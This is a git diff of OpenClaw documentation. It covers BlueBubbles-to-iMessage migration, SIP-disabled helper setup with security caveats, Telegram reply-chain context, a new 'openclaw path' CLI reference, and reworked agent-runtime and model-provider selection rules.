few seconds will silently drop any inbound iMessage traffic that arrives during the gap when running on bundled iMessage. BlueBubbles' webhook + history-fetch flow recovers those messages on reconnect. If your deployment is sensitive to that, stay on BlueBubbles until [#78649](https://github.com/openclaw/openclaw/issues/78649) lands. +The catchup gap is the most operationally significant one for production deployments: planned restarts, mac sleep, or an unexpected gateway crash that takes more than a few seconds will silently drop any inbound iMessage traffic that arrives during the gap when running on bundled iMessage. BlueBubbles' webhook + history-fetch flow recovered those messages on reconnect, but BlueBubbles is no longer supported. There is no supported migration path that preserves catchup today; wait for [#78649](https://github.com/openclaw/openclaw/issues/78649). ## Pairing, sessions, and ACP bindings @@ -202,25 +228,15 @@ The catchup gap is the most operationally significant one for production deploym - **Sessions** stay scoped per agent + chat. DMs collapse into the agent main session under default `session.dmScope=main`; group sessions stay isolated per `chat_id`. The session keys differ (`agent::imessage:group:` vs the BlueBubbles equivalent) — old conversation history under BlueBubbles session keys does not carry into iMessage sessions. - **ACP bindings** referencing `match.channel: "bluebubbles"` need to be updated to `"imessage"`. The `match.peer.id` shapes (`chat_id:`, `chat_guid:`, `chat_identifier:`, bare handle) are identical. -## Running both at once +## No rollback channel -You can keep both `bluebubbles` and `imessage` enabled during cutover testing. BlueBubbles' manifest still declares `preferOver: ["imessage"]`, so the auto-enable resolver continues to prefer BlueBubbles when both channels are configured — the bundled iMessage plugin will not pick up traffic until BlueBubbles is disabled (`channels.bluebubbles.enabled: false`) or removed from config. - -If you want both channels to run simultaneously instead of in cutover mode, that is not currently supported through plugin auto-enable; use one channel at a time. - -## Rollback - -Because you kept the BlueBubbles config block: - -1. Set `channels.bluebubbles.enabled: true` and `channels.imessage.enabled: false`. -2. Restart the gateway. -3. Inbound traffic returns to BlueBubbles. Reply caches and ACP bindings on the iMessage side stay on disk under `~/.openclaw/state/imessage/` and resume cleanly if you re-enable later. +There is no supported BlueBubbles runtime to switch back to. If iMessage verification fails, set `channels.imessage.enabled: false`, restart the Gateway, fix the `imsg` blocker, and retry the cutover. The reply cache lives at `~/.openclaw/state/imessage/reply-cache.jsonl` (mode `0600`, parent dir `0700`). It is safe to delete if you want a clean slate. ## Related - [iMessage](/channels/imessage) — full iMessage channel reference, including `imsg launch` setup and capability detection. -- [BlueBubbles](/channels/bluebubbles) — full BlueBubbles channel reference for the legacy path. +- `/channels/bluebubbles` — legacy URL that redirects to this migration guide. - [Pairing](/channels/pairing) — DM authentication and pairing flow. - [Channel Routing](/channels/channel-routing) — how the gateway picks a channel for outbound replies. diff --git a/docs/channels/imessage.md b/docs/channels/imessage.md index 80a30d2cec5..5071b8132c3 100644 --- a/docs/channels/imessage.md +++ b/docs/channels/imessage.md @@ -13,7 +13,7 @@ For OpenClaw iMessage deployments, use `imsg` on a signed-in macOS Messages host -BlueBubbles is deprecated and no longer ships as a bundled OpenClaw channel. Migrate `channels.bluebubbles` configs to `channels.imessage`; OpenClaw now supports iMessage through `imsg` only. If you still need a BlueBubbles-backed bridge, publish or install it as a third-party plugin outside core. +BlueBubbles support was removed. Migrate `channels.bluebubbles` configs to `channels.imessage`; OpenClaw supports iMessage through `imsg` only. Status: native external CLI integration. Gateway spawns `imsg rpc` and communicates over JSON-RPC on stdio (no separate daemon/port). Advanced actions require `imsg launch` and a successful private API probe. @@ -150,12 +150,12 @@ To reach the advanced action surface that this channel page documents, you need > Advanced features such as `read`, `typing`, `launch`, bridge-backed rich send, message mutation, and chat management are opt-in. They require SIP to be disabled and a helper dylib to be injected into `Messages.app`. `imsg launch` refuses to inject when SIP is enabled. -The helper-injection technique is a manual port of the BlueBubbles private-API surface (Apache-2.0 inspired) into `imsg`'s own dylib — no third-party binary, but the same SIP-disabled requirement that BlueBubbles' Private API mode has. There is no SIP-asymmetry between the two channels. +The helper-injection technique uses `imsg`'s own dylib to reach Messages private APIs. There is no third-party server or BlueBubbles runtime in the OpenClaw iMessage path. **Disabling SIP is a real security tradeoff.** SIP is one of macOS's core protections against running modified system code; turning it off system-wide opens up additional attack surface and side effects. Notably, **disabling SIP on Apple Silicon Macs also disables the ability to install and run iOS apps on your Mac**. -Treat this as a deliberate operational choice, not a default. If your threat model can't tolerate SIP being off, both bundled iMessage and BlueBubbles will be limited to their basic modes — text and media send/receive only, no reactions / edit / unsend / effects / group ops on either channel. +Treat this as a deliberate operational choice, not a default. If your threat model can't tolerate SIP being off, bundled iMessage is limited to basic mode — text and media send/receive only, no reactions / edit / unsend / effects / group ops. ### Setup @@ -170,13 +170,13 @@ Treat this as a deliberate operational choice, not a default. If your threat mod The `imsg status --json` output reports `bridge_version`, `rpc_methods`, and per-method `selectors` so you can see what the current build supports before you start. -2. **Disable System Integrity Protection.** This is macOS-version-specific, identical to the BlueBubbles flow because the underlying Apple requirement is the same: +2. **Disable System Integrity Protection.** This is macOS-version-specific because the underlying Apple requirement depends on the OS and hardware: - **macOS 10.13–10.15 (Sierra–Catalina):** disable Library Validation via Terminal, reboot to Recovery Mode, run `csrutil disable`, restart. - **macOS 11+ (Big Sur and later), Intel:** Recovery Mode (or Internet Recovery), `csrutil disable`, restart. - **macOS 11+, Apple Silicon:** power-button startup sequence to enter Recovery; on recent macOS versions hold the **Left Shift** key when you click Continue, then `csrutil disable`. Virtual-machine setups follow a separate flow — take a VM snapshot first. - **macOS 26 / Tahoe:** library-validation policies and `imagent` private-entitlement checks have tightened further; `imsg` may need an updated build to keep up. If `imsg launch` injection or specific `selectors` start returning false after a macOS major upgrade, check `imsg`'s release notes before assuming the SIP step succeeded. - The [BlueBubbles Private API installation guide](https://docs.bluebubbles.app/private-api/installation) is the canonical step-by-step for the SIP-disable flow itself; the macOS-side steps are not specific to BB, only the helper that gets injected differs. + Follow Apple's Recovery-mode flow for your Mac to disable SIP before running `imsg launch`. 3. **Inject the helper.** With SIP disabled and Messages.app signed in: @@ -200,7 +200,7 @@ If `openclaw channels status --probe` reports the channel as `works` but specifi If SIP-disabled isn't acceptable for your threat model: -- Both `imsg` and BlueBubbles fall back to basic mode — text + media + receive only. +- `imsg` falls back to basic mode — text + media + receive only. - The OpenClaw plugin still advertises text/media send and inbound monitoring; it just hides `react`, `edit`, `unsend`, `reply`, `sendWithEffect`, and group ops from the action surface (per the per-method capability gate). - You can run a separate non-Apple-Silicon Mac (or a dedicated bot Mac) with SIP off for the iMessage workload, while keeping SIP enabled on your primary devices. See [Dedicated bot macOS user (separate iMessage identity)](#deployment-patterns) below. @@ -533,7 +533,7 @@ When a user types a command and a URL together — e.g. `Dump https://example.co 1. A text message (`"Dump"`). 2. A URL-preview balloon (`"https://..."`) with OG-preview images as attachments. -The two rows arrive at OpenClaw ~0.8-2.0 s apart on most setups. Without coalescing, the agent receives the command alone on turn 1, replies (often "send me the URL"), and only sees the URL on turn 2 — at which point the command context is already lost. This is Apple's send pipeline, not anything OpenClaw or `imsg` introduces, so the same fix applies as it does on the BlueBubbles channel. +The two rows arrive at OpenClaw ~0.8-2.0 s apart on most setups. Without coalescing, the agent receives the command alone on turn 1, replies (often "send me the URL"), and only sees the URL on turn 2 — at which point the command context is already lost. This is Apple's send pipeline, not anything OpenClaw or `imsg` introduces. `channels.imessage.coalesceSameSenderDms` opts a DM into merging consecutive same-sender rows into a single agent turn. Group chats continue to dispatch per-message so multi-user turn structure is preserved. @@ -586,7 +586,7 @@ The two rows arrive at OpenClaw ~0.8-2.0 s apart on most setups. Without coalesc - **Added latency for DM messages.** With the flag on, every DM (including standalone control commands and single-text follow-ups) waits up to the debounce window before dispatching, in case a payload row is coming. Group-chat messages keep instant dispatch. - **Merged output is bounded.** Merged text caps at 4000 chars with an explicit `…[truncated]` marker; attachments cap at 20; source entries cap at 10 (first-plus-latest retained beyond that). Every source GUID is tracked in `coalescedMessageGuids` for downstream telemetry. - **DM-only.** Group chats fall through to per-message dispatch so the bot stays responsive when multiple people are typing. - - **Opt-in, per-channel.** Other channels (Telegram, WhatsApp, Slack, …) are unaffected. The BlueBubbles channel has the same opt-in under `channels.bluebubbles.coalesceSameSenderDms`. + - **Opt-in, per-channel.** Other channels (Telegram, WhatsApp, Slack, …) are unaffected. Legacy BlueBubbles configs that set `channels.bluebubbles.coalesceSameSenderDms` should migrate that value to `channels.imessage.coalesceSameSenderDms`. diff --git a/docs/channels/telegram.md b/docs/channels/telegram.md index 392e60af7a4..7394532f60f 100644 --- a/docs/channels/telegram.md +++ b/docs/channels/telegram.md @@ -258,7 +258,7 @@ curl "https://api.telegram.org/bot/getUpdates" - Telegram is owned by the gateway process. - Routing is deterministic: Telegram inbound replies back to Telegram (the model does not pick channels). -- Inbound messages normalize into the shared channel envelope with reply metadata and media placeholders. +- Inbound messages normalize into the shared channel envelope with reply metadata, media placeholders, and persisted reply-chain context for Telegram replies the gateway has observed. - Group sessions are isolated by group ID. Forum topics append `:topic:` to keep topics isolated. - DM messages can carry `message_thread_id`; OpenClaw preserves the thread ID for replies but keeps DMs on the flat session by default. Configure `channels.telegram.dm.threadReplies: "inbound"`, `channels.telegram.direct..threadReplies: "inbound"`, `requireTopic: true`, or a matching topic config when you intentionally want DM topic session isolation. - Long polling uses grammY runner with per-chat/per-thread sequencing. Overall runner sink concurrency uses `agents.defaults.maxConcurrent`. @@ -773,7 +773,7 @@ curl "https://api.telegram.org/bot/getUpdates" - `channels.telegram.timeoutSeconds` overrides Telegram API client timeout (if unset, grammY default applies). Bot clients clamp configured values below the 60-second outbound text/typing request guard so grammY does not abort visible reply delivery before OpenClaw's transport guard and fallback can run. Long polling still uses a 45-second `getUpdates` request guard so idle polls are not abandoned indefinitely. - `channels.telegram.pollingStallThresholdMs` defaults to `120000`; tune between `30000` and `600000` only for false-positive polling-stall restarts. - group context history uses `channels.telegram.historyLimit` or `messages.groupChat.historyLimit` (default 50); `0` disables. - - reply/quote/forward supplemental context is currently passed as received. + - reply/quote/forward supplemental context is normalized into a nearest-first reply chain when the gateway has observed the parent messages; the observed-message cache is persisted beside the session store. Telegram only includes one shallow `reply_to_message` in updates, so chains older than the cache are limited to Telegram's current update payload. - Telegram allowlists primarily gate who can trigger the agent, not a full supplemental-context redaction boundary. - DM history controls: - `channels.telegram.dmHistoryLimit` diff --git a/docs/cli/crestodian.md b/docs/cli/crestodian.md index 0202afac9d5..b43203c9343 100644 --- a/docs/cli/crestodian.md +++ b/docs/cli/crestodian.md @@ -170,7 +170,7 @@ configured OpenClaw model. If no configured model is usable yet, it can fall back to local runtimes already present on the machine: - Claude Code CLI: `claude-cli/claude-opus-4-7` -- Codex app-server harness: `openai/gpt-5.5` with `agentRuntime.id: "codex"` +- Codex app-server harness: `openai/gpt-5.5` - Codex CLI: `codex-cli/gpt-5.5` The model-assisted planner cannot mutate config directly. It must translate the diff --git a/docs/cli/doctor.md b/docs/cli/doctor.md index be306f071f1..74dd558b3e6 100644 --- a/docs/cli/doctor.md +++ b/docs/cli/doctor.md @@ -56,7 +56,7 @@ Notes: - Doctor also scans `~/.openclaw/cron/jobs.json` (or `cron.store`) for legacy cron job shapes and can rewrite them in place before the scheduler has to auto-normalize them at runtime. - On Linux, doctor warns when the user's crontab still runs legacy `~/.openclaw/bin/ensure-whatsapp.sh`; that script is no longer maintained and can log false WhatsApp gateway outages when cron lacks the systemd user-bus environment. - When WhatsApp is enabled, doctor checks for a degraded Gateway event loop with local `openclaw-tui` clients still running. `doctor --fix` stops only verified local TUI clients so WhatsApp replies are not queued behind stale TUI refresh loops. -- Doctor rewrites legacy `openai-codex/*` model refs to canonical `openai/*` refs across primary models, fallbacks, heartbeat/subagent/compaction overrides, hooks, channel model overrides, and stale session route pins. `--fix` selects `agentRuntime.id: "codex"` only when the Codex plugin is installed, enabled, contributes the `codex` harness, and has usable OAuth; otherwise it selects `agentRuntime.id: "pi"` so the route stays on the default OpenClaw runner. +- Doctor rewrites legacy `openai-codex/*` model refs to canonical `openai/*` refs across primary models, fallbacks, heartbeat/subagent/compaction overrides, hooks, channel model overrides, and stale session route pins. `--fix` preserves explicit provider/model `agentRuntime` policy, removes stale whole-agent/session runtime pins, and leaves canonical OpenAI agent refs on the default Codex harness when the official OpenAI provider is in use. - Doctor cleans legacy plugin dependency staging state created by older OpenClaw versions. It also repairs missing downloadable plugins that are referenced by config, such as `plugins.entries`, configured channels, configured provider/search settings, or configured agent runtimes. During package updates, doctor skips package-manager plugin repair until the package swap is complete; rerun `openclaw doctor --fix` afterward if a configured plugin still needs recovery. If the download fails, doctor reports the install error and preserves the configured plugin entry for the next repair attempt. - Doctor repairs stale plugin config by removing missing plugin ids from `plugins.allow`/`plugins.entries`, plus matching dangling channel config, heartbeat targets, and channel model overrides when plugin discovery is healthy. - Doctor quarantines invalid plugin config by disabling the affected `plugins.entries.` entry and removing its invalid `config` payload. Gateway startup already skips only that bad plugin so other plugins and channels can keep running. diff --git a/docs/cli/index.md b/docs/cli/index.md index 3ff71cc2ac3..9e54a7f850a 100644 --- a/docs/cli/index.md +++ b/docs/cli/index.md @@ -24,7 +24,7 @@ apply across the CLI. | Network and nodes | [`directory`](/cli/directory) · [`nodes`](/cli/nodes) · [`devices`](/cli/devices) · [`node`](/cli/node) | | Runtime and sandbox | [`approvals`](/cli/approvals) · `exec-policy` (see [`approvals`](/cli/approvals)) · [`sandbox`](/cli/sandbox) · [`tui`](/cli/tui) · `chat`/`terminal` (aliases for [`tui --local`](/cli/tui)) · [`browser`](/cli/browser) | | Automation | [`cron`](/cli/cron) · [`tasks`](/cli/tasks) · [`hooks`](/cli/hooks) · [`webhooks`](/cli/webhooks) | -| Discovery and docs | [`dns`](/cli/dns) · [`docs`](/cli/docs) | +| Discovery and docs | [`dns`](/cli/dns) · [`docs`](/cli/docs) · [`path`](/cli/path) | | Pairing and channels | [`pairing`](/cli/pairing) · [`qr`](/cli/qr) · [`channels`](/cli/channels) | | Security and plugins | [`security`](/cli/security) · [`secrets`](/cli/secrets) · [`skills`](/cli/skills) · [`plugins`](/cli/plugins) · [`proxy`](/cli/proxy) | | Legacy aliases | [`daemon`](/cli/daemon) (gateway service) · [`clawbot`](/cli/clawbot) (namespace) | diff --git a/docs/cli/path.md b/docs/cli/path.md new file mode 100644 index 00000000000..ae44bd265d0 --- /dev/null +++ b/docs/cli/path.md @@ -0,0 +1,121 @@ +--- +summary: "CLI reference for `openclaw path` (inspect and edit workspace files via the `oc://` addressing scheme)" +read_when: + - You want to read or write a leaf inside a workspace file from the terminal + - You're scripting against workspace state and want a stable, kind-agnostic addressing scheme + - You're debugging a `oc://` path (validate the syntax, see what it resolves to) +title: "Path" +--- + +# `openclaw path` + +Shell-level access to the `oc://` addressing substrate — one universal, +kind-dispatched path scheme for inspecting and surgically editing workspace +files (markdown, jsonc, jsonl, yaml). Self-hosters and editor extensions use +it to read or write a single leaf inside a workspace file without scripting +against the SDK directly. + +## Subcommands + +| Subcommand | Purpose | +| ----------------------- | ---------------------------------------------------------------------------- | +| `resolve ` | Print the match at the path (or "not found"). | +| `find ` | Enumerate matches for a wildcard / predicate path. | +| `set ` | Write a leaf at the path. Supports `--dry-run`. | +| `validate ` | Parse-only — print structural breakdown (file / section / item / field). | +| `emit ` | Round-trip a file through `parseXxx` + `emitXxx` (byte-fidelity diagnostic). | + +## Global flags + +| Flag | Purpose | +| --------------- | ------------------------------------------------------------------------ | +| `--cwd ` | Resolve the file slot against this directory (default: `process.cwd()`). | +| `--file ` | Override the file slot's resolved path (absolute access). | +| `--json` | Force JSON output (default when stdout is not a TTY). | +| `--human` | Force human output (default when stdout is a TTY). | +| `--dry-run` | (only on `set`) print the bytes that would be written without writing. | + +## `oc://` syntax + +``` +oc://FILE/SECTION/ITEM/FIELD?session=SCOPE +``` + +Slot rules — `field` requires `item`, `item` requires `section`. Across all +four slots: + +- **Quoted segments** — `"a/b.c"` survives `/` and `.` separators. + `"\\"` and `"\""` are the only escapes inside quotes. + The file slot is also quote-aware: `oc://"skills/email-drafter"/Tools/-1` + treats `skills/email-drafter` as a single file path. +- **Predicates** — `[k=v]`, `[k!=v]`, `[k*=v]`, `[k^=v]`, `[k$=v]`, + `[kv]`, `[k>=v]`. +- **Unions** — `{a,b,c}` matches any of the alternatives. +- **Wildcards** — `*` (single sub-segment) and `**` (zero-or-more, + recursive). `find` accepts these; `resolve` and `set` reject them as + ambiguous. +- **Positional** — `$first`, `$last`, `-N` (Nth from end). +- **Ordinal** — `#N` for Nth match. +- **Insertion markers** — `+`, `+key`, `+nnn` for keyed / indexed + insertion (use with `set`). +- **Session scope** — `?session=cron:daily` etc. Orthogonal to slot + nesting. + +Reserved characters (`?`, `&`, `%`) outside quoted, predicate, or union +segments are rejected. Control characters (U+0000–U+001F, U+007F) are +rejected anywhere. + +## Examples + +```bash +# Validate a path (no filesystem access) +openclaw path validate 'oc://AGENTS.md/Tools/-1/risk' + +# Read a leaf +openclaw path resolve 'oc://gateway.jsonc/version' + +# Wildcard search +openclaw path find 'oc://session.jsonl/*/event' --file ./logs/session.jsonl + +# Dry-run a write +openclaw path set 'oc://gateway.jsonc/version' '2.0' --dry-run + +# Apply the write +openclaw path set 'oc://gateway.jsonc/version' '2.0' + +# Byte-fidelity round-trip (diagnostic) +openclaw path emit ./AGENTS.md +``` + +## Exit codes + +| Code | Meaning | +| ---- | -------------------------------------------------------------------------- | +| `0` | Success. (`resolve` / `find`: at least one match. `set`: write succeeded.) | +| `1` | No match, or `set` rejected by the substrate (no system-level error). | +| `2` | Argument or parse error. | + +## Output mode + +`openclaw path` is TTY-aware: human-readable output on a terminal, JSON when +stdout is piped or redirected. `--json` and `--human` override the +auto-detection. + +## Notes + +- `set` writes raw bytes through the substrate's emit path, which applies the + redaction-sentinel guard automatically. A leaf carrying + `__OPENCLAW_REDACTED__` (verbatim or as a substring) is refused at write + time. +- `set` on a JSONC file currently re-renders the file (drops comments and + trailing-comma formatting) when it mutates a leaf. Read-path round-trip is + byte-identical. A byte-splice editor that preserves comments through + writes is planned as a follow-up. +- `path` does not know about LKG. If the file is LKG-tracked, the next + observe call decides whether to promote / recover. `set --batch` for + atomic multi-set through the LKG promote/recover lifecycle is planned + alongside the LKG-recovery substrate. + +## Related + +- [CLI reference](/cli) diff --git a/docs/concepts/agent-runtimes.md b/docs/concepts/agent-runtimes.md index 53501dee39e..ddf06730fda 100644 --- a/docs/concepts/agent-runtimes.md +++ b/docs/concepts/agent-runtimes.md @@ -23,8 +23,11 @@ configuration. They are different layers: You will also see the word **harness** in code. A harness is the implementation that provides an agent runtime. For example, the bundled Codex harness -implements the `codex` runtime. Public config uses `agentRuntime.id`; `openclaw -doctor --fix` rewrites older runtime-policy keys to that shape. +implements the `codex` runtime. Public config uses `agentRuntime.id` on +provider or model entries; whole-agent runtime keys are legacy and ignored. +`openclaw doctor --fix` removes old whole-agent runtime pins and rewrites +legacy runtime model refs to canonical provider/model refs plus model-scoped +runtime policy where needed. There are two runtime families: @@ -33,9 +36,9 @@ There are two runtime families: `codex`. - **CLI backends** run a local CLI process while keeping the model ref canonical. For example, `anthropic/claude-opus-4-7` with - `agentRuntime.id: "claude-cli"` means "select the Anthropic model, execute - through Claude CLI." `claude-cli` is not an embedded harness id and must not - be passed to AgentHarness selection. + a model-scoped `agentRuntime.id: "claude-cli"` means "select the Anthropic + model, execute through Claude CLI." `claude-cli` is not an embedded harness id + and must not be passed to AgentHarness selection. ## Codex surfaces @@ -87,9 +90,9 @@ This is the agent-facing decision tree: 2. If the user asks for **Codex as the embedded runtime** or wants the normal subscription-backed Codex agent experience, use `openai/`. 3. If the user explicitly chooses **PI for an OpenAI model**, keep the model ref - as `openai/` and set `agentRuntime.id: "pi"`. A selected - `openai-codex` auth profile is routed internally through PI's legacy - Codex-auth transport. + as `openai/` and set provider/model runtime policy to + `agentRuntime.id: "pi"`. A selected `openai-codex` auth profile is routed + internally through PI's legacy Codex-auth transport. 4. If legacy config still contains **`openai-codex/*` model refs**, repair it to `openai/` with `openclaw doctor --fix`. 5. If the user explicitly says **ACP**, **acpx**, or **Codex ACP adapter**, use @@ -132,21 +135,26 @@ This ownership split is the main design rule: OpenClaw chooses an embedded runtime after provider and model resolution: -1. A session's recorded runtime wins. Config changes do not hot-switch an - existing transcript to a different native thread system. -2. `OPENCLAW_AGENT_RUNTIME=` forces that runtime for new or reset sessions. -3. `agents.defaults.agentRuntime.id` or `agents.list[].agentRuntime.id` can set - `auto`, `pi`, a registered embedded harness id such as `codex`, or a - supported CLI backend alias such as `claude-cli`. -4. In `auto` mode, registered plugin runtimes can claim supported provider/model +1. Model-scoped runtime policy wins. This can live in a configured provider + model entry or in `agents.defaults.models["provider/model"].agentRuntime` / + `agents.list[].models["provider/model"].agentRuntime`. +2. Provider-scoped runtime policy comes next at + `models.providers..agentRuntime`. +3. In `auto` mode, registered plugin runtimes can claim supported provider/model pairs. -5. If no runtime claims a turn in `auto` mode, OpenClaw uses PI as the +4. If no runtime claims a turn in `auto` mode, OpenClaw uses PI as the compatibility runtime. Use an explicit runtime id when the run must be strict. -Explicit plugin runtimes fail closed. For example, `agentRuntime.id: "codex"` -means Codex or a clear selection/runtime error; it is never silently routed back -to PI. +Whole-session and whole-agent runtime pins are ignored. That includes +`OPENCLAW_AGENT_RUNTIME`, session `agentHarnessId`/`agentRuntimeOverride` state, +`agents.defaults.agentRuntime`, and `agents.list[].agentRuntime`. Run +`openclaw doctor --fix` to remove stale whole-agent runtime config and convert +legacy runtime model refs where OpenClaw can preserve the intent. + +Explicit provider/model plugin runtimes fail closed. For example, +`agentRuntime.id: "codex"` on a provider or model means Codex or a clear +selection/runtime error; it is never silently routed back to PI. CLI backend aliases are different from embedded harness ids. The preferred Claude CLI form is: @@ -156,7 +164,11 @@ Claude CLI form is: agents: { defaults: { model: "anthropic/claude-opus-4-7", - agentRuntime: { id: "claude-cli" }, + models: { + "anthropic/claude-opus-4-7": { + agentRuntime: { id: "claude-cli" }, + }, + }, }, }, } @@ -164,15 +176,15 @@ Claude CLI form is: Legacy refs such as `claude-cli/claude-opus-4-7` remain supported for compatibility, but new config should keep the provider/model canonical and put -the execution backend in `agentRuntime.id`. +the execution backend in provider/model runtime policy. `auto` mode is intentionally conservative for most providers. OpenAI agent models are the exception: unset runtime and `auto` both resolve to the Codex harness. Explicit PI runtime config remains an opt-in compatibility route for `openai/*` agent turns; when paired with a selected `openai-codex` auth profile, OpenClaw routes PI internally through the legacy Codex-auth transport while -keeping the public model ref as `openai/*`. Stale OpenAI PI session pins without -explicit config are repaired back to Codex. +keeping the public model ref as `openai/*`. Stale OpenAI PI session pins are +ignored by runtime selection and can be cleaned with `openclaw doctor --fix`. If `openclaw doctor` warns that the `codex` plugin is enabled while `openai-codex/*` remains in config, treat that as legacy route state. Run @@ -206,10 +218,8 @@ diagnostics, not as provider names. - A runtime id such as `codex` tells you which loop is executing the turn. - A channel label such as Telegram or Discord tells you where the conversation is happening. -If a session still shows PI after changing runtime config, start a new session -with `/new` or clear the current one with `/reset`. Existing sessions keep their -recorded runtime so a transcript is not replayed through two incompatible native -session systems. +If a run still shows an unexpected runtime, inspect the selected provider/model +runtime policy first. Legacy session runtime pins no longer decide routing. ## Related diff --git a/docs/concepts/model-providers.md b/docs/concepts/model-providers.md index 0bd76a63953..7541f117d2b 100644 --- a/docs/concepts/model-providers.md +++ b/docs/concepts/model-providers.md @@ -29,19 +29,19 @@ Reference for **LLM/model providers** (not chat channels like WhatsApp/Telegram) OpenAI-family routes are prefix-specific: - - `openai/` plus `agents.defaults.agentRuntime.id: "codex"` uses the native Codex app-server harness. This is the usual ChatGPT/Codex subscription setup. - - `openai-codex/` uses Codex OAuth in PI. - - `openai/` without a Codex runtime override uses the direct OpenAI API-key provider in PI. + - `openai/` uses the native Codex app-server harness for agent turns by default. This is the usual ChatGPT/Codex subscription setup. + - `openai-codex/` is legacy config that doctor rewrites to `openai/`. + - `openai/` plus provider/model `agentRuntime.id: "pi"` uses PI for explicit API-key or compatibility routes. See [OpenAI](/providers/openai) and [Codex harness](/plugins/codex-harness). If the provider/runtime split is confusing, read [Agent runtimes](/concepts/agent-runtimes) first. - Plugin auto-enable follows the same boundary: `openai-codex/` belongs to the OpenAI plugin, while the Codex plugin is enabled by `agentRuntime.id: "codex"` or legacy `codex/` refs. + Plugin auto-enable follows the same boundary: `openai/*` agent refs enable the Codex plugin for the default route, and explicit provider/model `agentRuntime.id: "codex"` or legacy `codex/` refs also require it. - GPT-5.5 is available through the native Codex app-server harness when `agentRuntime.id: "codex"` is set, through `openai-codex/gpt-5.5` in PI for Codex OAuth, and through `openai/gpt-5.5` in PI for direct API-key traffic when your account exposes it. + GPT-5.5 is available through the native Codex app-server harness by default on `openai/gpt-5.5`, and through PI only when provider/model runtime policy explicitly selects `pi`. - CLI runtimes use the same split: choose canonical model refs such as `anthropic/claude-*`, `google/gemini-*`, or `openai/gpt-*`, then set `agents.defaults.agentRuntime.id` to `claude-cli`, `google-gemini-cli`, or `codex-cli` when you want a local CLI backend. + CLI runtimes use the same split: choose canonical model refs such as `anthropic/claude-*`, `google/gemini-*`, or `openai/gpt-*`, then set provider/model runtime policy to `claude-cli`, `google-gemini-cli`, or `codex-cli` when you want a local CLI backend. Legacy `claude-cli/*`, `google-gemini-cli/*`, and `codex-cli/*` refs migrate back to canonical provider refs with the runtime recorded separately. @@ -118,7 +118,7 @@ OpenClaw ships with the pi-ai catalog. These providers require **no** `models.pr - Direct public Anthropic requests support the shared `/fast` toggle and `params.fastMode`, including API-key and OAuth-authenticated traffic sent to `api.anthropic.com`; OpenClaw maps that to Anthropic `service_tier` (`auto` vs `standard_only`) - Preferred Claude CLI config keeps the model ref canonical and selects the CLI backend separately: `anthropic/claude-opus-4-7` with - `agents.defaults.agentRuntime.id: "claude-cli"`. Legacy + model-scoped `agentRuntime.id: "claude-cli"`. Legacy `claude-cli/claude-opus-4-7` refs still work for compatibility. @@ -135,8 +135,8 @@ Anthropic staff told us OpenClaw-style Claude CLI usage is allowed again, so Ope - Provider: `openai-codex` - Auth: OAuth (ChatGPT) -- PI model ref: `openai-codex/gpt-5.5` -- Native Codex app-server harness ref: `openai/gpt-5.5` with `agents.defaults.agentRuntime.id: "codex"` +- Legacy PI model ref: `openai-codex/gpt-5.5` +- Native Codex app-server harness ref: `openai/gpt-5.5` - Native Codex app-server harness docs: [Codex harness](/plugins/codex-harness) - Legacy model refs: `codex/gpt-*` - Plugin boundary: `openai-codex/*` loads the OpenAI plugin; the native Codex app-server plugin is selected only by the Codex harness runtime or legacy `codex/*` refs. @@ -148,8 +148,8 @@ Anthropic staff told us OpenClaw-style Claude CLI usage is allowed again, so Ope - Shares the same `/fast` toggle and `params.fastMode` config as direct `openai/*`; OpenClaw maps that to `service_tier=priority` - `openai-codex/gpt-5.5` uses the Codex catalog native `contextWindow = 400000` and default runtime `contextTokens = 272000`; override the runtime cap with `models.providers.openai-codex.models[].contextTokens` - Policy note: OpenAI Codex OAuth is explicitly supported for external tools/workflows like OpenClaw. -- For the common subscription plus native Codex runtime route, sign in with `openai-codex` auth but configure `openai/gpt-5.5` plus `agents.defaults.agentRuntime.id: "codex"`. -- Use `openai-codex/gpt-5.5` only when you want the Codex OAuth/subscription route through PI; use `openai/gpt-5.5` without the Codex runtime override when your API-key setup and local catalog expose the public API route. +- For the common subscription plus native Codex runtime route, sign in with `openai-codex` auth but configure `openai/gpt-5.5`; OpenAI agent turns select Codex by default. +- Use provider/model `agentRuntime.id: "pi"` only when you want a compatibility route through PI; otherwise keep `openai/gpt-5.5` on the default Codex harness. - Older `openai-codex/gpt-5.1*`, `openai-codex/gpt-5.2*`, and `openai-codex/gpt-5.3*` refs are suppressed because ChatGPT/Codex OAuth accounts reject them; use `openai-codex/gpt-5.5` or the native Codex runtime route instead. ```json5 @@ -158,7 +158,6 @@ Anthropic staff told us OpenClaw-style Claude CLI usage is allowed again, so Ope agents: { defaults: { model: { primary: "openai/gpt-5.5" }, - agentRuntime: { id: "codex" }, }, }, } diff --git a/docs/concepts/models.md b/docs/concepts/models.md index 62d5bf07a70..7a7d98385ed 100644 --- a/docs/concepts/models.md +++ b/docs/concepts/models.md @@ -23,7 +23,7 @@ sidebarTitle: "Models CLI" -Model refs choose a provider and model. They do not usually choose the low-level agent runtime. For example, `openai/gpt-5.5` can run through the normal OpenAI provider path or through the Codex app-server runtime, depending on `agents.defaults.agentRuntime.id`. In Codex runtime mode, the `openai/gpt-*` ref does not imply API-key billing; auth can come from a Codex account or `openai-codex` auth profile. See [Agent runtimes](/concepts/agent-runtimes). +Model refs choose a provider and model. They do not usually choose the low-level agent runtime. OpenAI agent refs are the main exception: `openai/gpt-5.5` runs through the Codex app-server runtime by default on the official OpenAI provider. Explicit runtime overrides belong on provider/model policy, not on the whole agent or session. In Codex runtime mode, the `openai/gpt-*` ref does not imply API-key billing; auth can come from a Codex account or `openai-codex` auth profile. See [Agent runtimes](/concepts/agent-runtimes). ## How model selection works diff --git a/docs/concepts/qa-e2e-automation.md b/docs/concepts/qa-e2e-automation.md index 11e2432e735..56757fde9ee 100644 --- a/docs/concepts/qa-e2e-automation.md +++ b/docs/concepts/qa-e2e-automation.md @@ -559,15 +559,17 @@ A green run completes in well under 30 seconds and `slack-qa-report.md` shows bo ### Convex credential pool -Telegram, Discord, and Slack lanes can lease credentials from a shared Convex pool instead of reading the env vars above. Pass `--credential-source convex` (or set `OPENCLAW_QA_CREDENTIAL_SOURCE=convex`); QA Lab acquires an exclusive lease, heartbeats it for the duration of the run, and releases it on shutdown. Pool kinds are `"telegram"`, `"discord"`, and `"slack"`. +Telegram, Discord, Slack, and WhatsApp lanes can lease credentials from a shared Convex pool instead of reading the env vars above. Pass `--credential-source convex` (or set `OPENCLAW_QA_CREDENTIAL_SOURCE=convex`); QA Lab acquires an exclusive lease, heartbeats it for the duration of the run, and releases it on shutdown. Pool kinds are `"telegram"`, 